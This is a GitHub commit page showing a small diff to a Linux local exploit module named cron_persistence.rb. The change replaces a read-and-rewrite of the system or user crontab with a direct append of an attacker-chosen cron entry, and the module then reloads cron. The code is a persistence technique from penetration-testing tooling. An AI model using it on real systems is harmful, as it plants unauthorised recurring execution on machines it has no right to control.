Skip to content

Commit 0f2c1d8

Browse files
author
h00die
committed
append over read and write
1 parent c7baceb commit 0f2c1d8

File tree

1 file changed

+2
-6
lines changed

1 file changed

+2
-6
lines changed

modules/exploits/linux/local/cron_persistence.rb

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -91,15 +91,11 @@ def exploit
9191
end
9292
when 'System Crontab'
9393
file_to_clean = "#{target.opts['path']}/crontab"
94-
crontab = read_file(file_to_clean)
95-
crontab << "\n#{cron_entry}\n"
96-
write_file(file_to_clean, crontab)
94+
append_file(file_to_clean, "\n#{cron_entry}\n")
9795
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
9896
when 'User Crontab'
9997
file_to_clean = "#{target.opts['path']}/crontabs/#{datastore['USERNAME']}"
100-
crontab = read_file(file_to_clean)
101-
crontab << "\n#{cron_entry}\n"
102-
write_file(file_to_clean, crontab)
98+
append_file(file_to_clean, "\n#{cron_entry}\n")
10399
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
104100
# at least on ubuntu, we need to restart cron to get this to work
105101
vprint_status('Reloading cron to pickup new entry')

0 commit comments

Comments
 (0)